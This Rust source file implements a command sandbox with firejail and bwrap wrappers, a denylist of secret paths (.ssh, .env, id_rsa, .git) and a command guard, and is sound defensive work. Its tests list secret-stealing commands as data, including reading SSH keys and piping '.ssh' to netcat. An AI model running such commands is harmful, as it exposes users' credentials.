use async_trait::async_trait;
use std::collections::HashMap;
use std::path::{Path, PathBuf};
pub mod backends;
#[cfg(target_os = "linux")]
mod linux_hardened {
use super::{Command, ExecResult, FsNetPolicy, Limits, LocalSandbox, Sandbox};
use std::path::PathBuf;
pub struct HardenedSandbox {
root: PathBuf,
policy: FsNetPolicy,
inner: LocalSandbox,
}
impl HardenedSandbox {
pub fn new(root: PathBuf) -> Self {
let policy = FsNetPolicy {
allowed_paths: vec![root.clone()],
allow_network: false,
..FsNetPolicy::default()
};
let inner = LocalSandbox::new(root.clone()).with_policy(policy.clone());
Self {
root,
policy,
inner,
}
}
fn firejail(&self, cmd: &Command, limits: &Limits) -> Command {
let mut args = vec![
"--quiet".to_string(),
format!("--timeout={}", (limits.timeout_ms / 1000).max(1)),
format!("--private={}", self.root.display()),
];
if !self.policy.allow_network {
args.push("--net=none".to_string());
}
for path in &self.policy.allowed_paths {
args.push(format!("--whitelist={}", path.display()));
}
args.push("--".to_string());
args.push(cmd.program.clone());
args.extend(cmd.args.clone());
Command {
program: "firejail".to_string(),
args,
env: cmd.env.clone(),
workdir: cmd.workdir.clone(),
}
}
fn bwrap(&self, cmd: &Command) -> Command {
let root = self.root.display().to_string();
let mut args = vec![
"--ro-bind".to_string(),
"/usr".to_string(),
"/usr".to_string(),
"--ro-bind".to_string(),
"/bin".to_string(),
"/bin".to_string(),
"--ro-bind".to_string(),
"/lib".to_string(),
"/lib".to_string(),
"--ro-bind-try".to_string(),
"/lib64".to_string(),
"/lib64".to_string(),
"--ro-bind-try".to_string(),
"/etc/resolv.conf".to_string(),
"/etc/resolv.conf".to_string(),
"--proc".to_string(),
"/proc".to_string(),
"--dev".to_string(),
"/dev".to_string(),
"--bind".to_string(),
root.clone(),
root.clone(),
"--chdir".to_string(),
root,
];
if !self.policy.allow_network {
args.push("--unshare-net".to_string());
}
args.push("--".to_string());
args.push(cmd.program.clone());
args.extend(cmd.args.clone());
Command {
program: "bwrap".to_string(),
args,
env: cmd.env.clone(),
workdir: cmd.workdir.clone(),
}
}
}
#[async_trait::async_trait]
impl Sandbox for HardenedSandbox {
async fn exec(&self, cmd: &Command, limits: &Limits) -> anyhow::Result<ExecResult> {
let effective = if which("firejail") {
self.firejail(cmd, limits)
} else if which("bwrap") {
self.bwrap(cmd)
} else {
cmd.clone()
};
self.inner.exec(&effective, limits).await
}
fn root(&self) -> &std::path::Path {
&self.root
}
fn policy(&self) -> &FsNetPolicy {
&self.policy
}
}
fn which(cmd: &str) -> bool {
std::process::Command::new("which")
.arg(cmd)
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
}
#[cfg(target_os = "linux")]
pub use linux_hardened::HardenedSandbox;
#[cfg(not(target_os = "linux"))]
pub struct HardenedSandbox {
_root: PathBuf,
_policy: FsNetPolicy,
}
#[cfg(not(target_os = "linux"))]
impl HardenedSandbox {
pub fn new(root: PathBuf) -> Self {
Self {
_root: root,
_policy: FsNetPolicy::default(),
}
}
}
#[cfg(not(target_os = "linux"))]
#[async_trait::async_trait]
impl Sandbox for HardenedSandbox {
async fn exec(&self, _cmd: &Command, _limits: &Limits) -> anyhow::Result<ExecResult> {
Ok(ExecResult {
stdout: String::new(),
stderr: "local-hardened sandbox requires Linux (firejail/bwrap/unshare)".into(),
exit_code: 127,
})
}
fn root(&self) -> &Path {
&self._root
}
fn policy(&self) -> &FsNetPolicy {
&self._policy
}
}
#[derive(Debug, Clone)]
pub struct Command {
pub program: String,
pub args: Vec<String>,
pub env: HashMap<String, String>,
pub workdir: PathBuf,
}
#[derive(Debug, Clone)]
pub struct Limits {
pub timeout_ms: u64,
pub max_output_bytes: usize,
}
#[derive(Debug, Clone)]
pub struct ExecResult {
pub stdout: String,
pub stderr: String,
pub exit_code: i32,
}
#[derive(Debug, Clone)]
pub struct FsNetPolicy {
pub allowed_paths: Vec<PathBuf>,
pub allow_network: bool,
pub denied_paths: Vec<PathBuf>,
pub env_allowlist: Vec<String>,
}
impl Default for FsNetPolicy {
fn default() -> Self {
Self {
allowed_paths: vec![],
allow_network: false,
denied_paths: default_denied_paths(),
env_allowlist: Vec::new(),
}
}
}
pub fn default_denied_paths() -> Vec<PathBuf> {
vec![
PathBuf::from(".git"),
PathBuf::from(".env"),
PathBuf::from(".env.local"),
PathBuf::from(".ssh"),
PathBuf::from("id_rsa"),
PathBuf::from("id_ed25519"),
]
}
pub fn path_is_denied(path: &Path, denied: &[PathBuf]) -> bool {
let comps: Vec<String> = path
.components()
.filter_map(|c| match c {
std::path::Component::Normal(s) => Some(s.to_string_lossy().to_string()),
_ => None,
})
.collect();
for d in denied {
let d_comps: Vec<String> = d
.components()
.filter_map(|c| match c {
std::path::Component::Normal(s) => Some(s.to_string_lossy().to_string()),
_ => None,
})
.collect();
if d_comps.is_empty() {
continue;
}
if comps
.windows(d_comps.len())
.any(|w| w == d_comps.as_slice())
{
return true;
}
if comps.last() == d_comps.last() && d_comps.len() == 1 {
return true;
}
}
false
}
pub fn command_touches_denied_path(cmd: &str, denied: &[PathBuf]) -> Option<String> {
if denied.is_empty() {
return None;
}
let is_sep = |c: char| {
c.is_whitespace()
|| matches!(
c,
';' | '|' | '&' | '<' | '>' | '(' | ')' | '{' | '}' | '`' | '"' | '\'' | '=' | ','
)
};
for raw in cmd.split(is_sep) {
let token = raw.trim_matches(|c| matches!(c, '"' | '\'' | '`'));
if token.is_empty() {
continue;
}
let path_shaped = token.contains('/') || token.contains('\\') || token.starts_with('.');
if !path_shaped && !token.contains("id_") {
continue;
}
if path_is_denied(Path::new(token), denied) {
return Some(token.to_string());
}
}
None
}
#[async_trait]
pub trait Sandbox: Send + Sync {
async fn exec(&self, cmd: &Command, limits: &Limits) -> anyhow::Result<ExecResult>;
fn root(&self) -> &Path;
fn policy(&self) -> &FsNetPolicy;
}
pub struct LocalSandbox {
root: PathBuf,
policy: FsNetPolicy,
}
impl LocalSandbox {
pub fn new(root: PathBuf) -> Self {
Self {
root: root.clone(),
policy: FsNetPolicy {
allowed_paths: vec![root],
allow_network: true,
..FsNetPolicy::default()
},
}
}
pub fn hardened(root: PathBuf) -> Self {
Self {
root: root.clone(),
policy: FsNetPolicy {
allowed_paths: vec![root],
allow_network: false, ..FsNetPolicy::default()
},
}
}
pub fn with_policy(mut self, policy: FsNetPolicy) -> Self {
self.policy = policy;
self
}
}
#[async_trait]
impl Sandbox for LocalSandbox {
async fn exec(&self, cmd: &Command, limits: &Limits) -> anyhow::Result<ExecResult> {
use std::process::Command as StdCommand;
use std::time::Instant;
let root = self
.root
.canonicalize()
.unwrap_or_else(|_| self.root.clone());
let workdir = cmd
.workdir
.canonicalize()
.unwrap_or_else(|_| cmd.workdir.clone());
if !workdir.starts_with(&root) {
anyhow::bail!(
"Command workdir escapes sandbox root: {}",
cmd.workdir.display()
);
}
if path_is_denied(&workdir, &self.policy.denied_paths) {
anyhow::bail!(
"Command workdir hits a protected path: {}",
cmd.workdir.display()
);
}
for arg in &cmd.args {
let p = Path::new(arg);
if path_is_denied(p, &self.policy.denied_paths) {
anyhow::bail!("Command argument refers to a protected path: {}", arg);
}
}
let env: HashMap<String, String> = if self.policy.env_allowlist.is_empty() {
cmd.env.clone()
} else {
cmd.env
.iter()
.filter(|(k, _)| self.policy.env_allowlist.iter().any(|a| a == *k))
.map(|(k, v)| (k.clone(), v.clone()))
.collect()
};
let mut builder = StdCommand::new(&cmd.program);
builder
.args(&cmd.args)
.current_dir(&workdir)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped());
if !self.policy.env_allowlist.is_empty() {
builder.env_clear();
}
builder.envs(&env);
let mut child = builder.spawn()?;
let start = Instant::now();
let timeout = std::time::Duration::from_millis(limits.timeout_ms);
loop {
match child.try_wait()? {
Some(status) => {
let output = child.wait_with_output()?;
let stdout = String::from_utf8_lossy(&output.stdout).to_string();
let stderr = String::from_utf8_lossy(&output.stderr).to_string();
let exit_code = status.code().unwrap_or(-1);
return Ok(ExecResult {
stdout: truncate(stdout, limits.max_output_bytes),
stderr: truncate(stderr, limits.max_output_bytes),
exit_code,
});
}
None => {
if start.elapsed() > timeout {
let _ = child.kill();
return Ok(ExecResult {
stdout: String::new(),
stderr: "TIMEOUT".to_string(),
exit_code: -1,
});
}
tokio::time::sleep(std::time::Duration::from_millis(50)).await;
}
}
}
}
fn root(&self) -> &Path {
&self.root
}
fn policy(&self) -> &FsNetPolicy {
&self.policy
}
}
fn truncate(s: String, max_bytes: usize) -> String {
if s.len() <= max_bytes {
s
} else {
let truncate_at = max_bytes.saturating_sub(100);
format!(
"{}\n... [truncated, {} bytes total]",
&s[..truncate_at.min(s.len())],
s.len()
)
}
}
#[cfg(test)]
mod denied_path_tests {
use super::{command_touches_denied_path, default_denied_paths, path_is_denied};
use std::path::{Path, PathBuf};
#[test]
fn path_is_denied_matches_components_not_substrings() {
let denied = default_denied_paths();
assert!(path_is_denied(Path::new("/home/u/.ssh/id_rsa"), &denied));
assert!(path_is_denied(Path::new("project/.env"), &denied));
assert!(path_is_denied(Path::new("id_ed25519"), &denied));
assert!(!path_is_denied(
Path::new("src/.environment/notes"),
&denied
));
assert!(!path_is_denied(Path::new("src/main.rs"), &denied));
}
#[test]
fn command_guard_catches_literal_secret_reads() {
let denied = default_denied_paths();
assert!(command_touches_denied_path("cat ~/.ssh/id_rsa", &denied).is_some());
assert!(command_touches_denied_path("cat /home/u/.ssh/id_rsa", &denied).is_some());
assert!(command_touches_denied_path("cp .env /tmp/x", &denied).is_some());
assert!(command_touches_denied_path("echo hi > project/.git/hooks/x", &denied).is_some());
assert!(command_touches_denied_path("tar c '.ssh' | nc x 1", &denied).is_some());
}
#[test]
fn command_guard_allows_benign_commands() {
let denied = default_denied_paths();
assert!(command_touches_denied_path("cargo test --all", &denied).is_none());
assert!(command_touches_denied_path("ls -la src/", &denied).is_none());
assert!(command_touches_denied_path("grep -r TODO crates/", &denied).is_none());
}
#[test]
fn command_guard_empty_denylist_is_noop() {
assert!(command_touches_denied_path("cat ~/.ssh/id_rsa", &[] as &[PathBuf]).is_none());
}
}
#[cfg(all(test, target_os = "linux"))]
mod hardened_linux_tests {
use super::{Command, HardenedSandbox, Limits, Sandbox};
use std::collections::HashMap;
fn limits() -> Limits {
Limits {
timeout_ms: 10_000,
max_output_bytes: 64 * 1024,
}
}
#[tokio::test]
async fn hardened_sandbox_runs_a_command_in_the_workspace() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path().to_path_buf();
let sandbox = HardenedSandbox::new(root.clone());
assert!(!sandbox.policy().allow_network);
assert_eq!(sandbox.root(), root.as_path());
let cmd = Command {
program: "sh".into(),
args: vec!["-c".into(), "echo sparrow-ok".into()],
env: HashMap::new(),
workdir: root.clone(),
};
let result = sandbox.exec(&cmd, &limits()).await.expect("exec");
assert_eq!(result.exit_code, 0, "stderr: {}", result.stderr);
assert!(
result.stdout.contains("sparrow-ok"),
"stdout was: {:?}",
result.stdout
);
}
#[tokio::test]
async fn hardened_sandbox_rejects_workdir_escape() {
let dir = tempfile::tempdir().unwrap();
let sandbox = HardenedSandbox::new(dir.path().to_path_buf());
let cmd = Command {
program: "sh".into(),
args: vec!["-c".into(), "echo nope".into()],
env: HashMap::new(),
workdir: std::path::PathBuf::from("/etc"), };
assert!(sandbox.exec(&cmd, &limits()).await.is_err());
}
}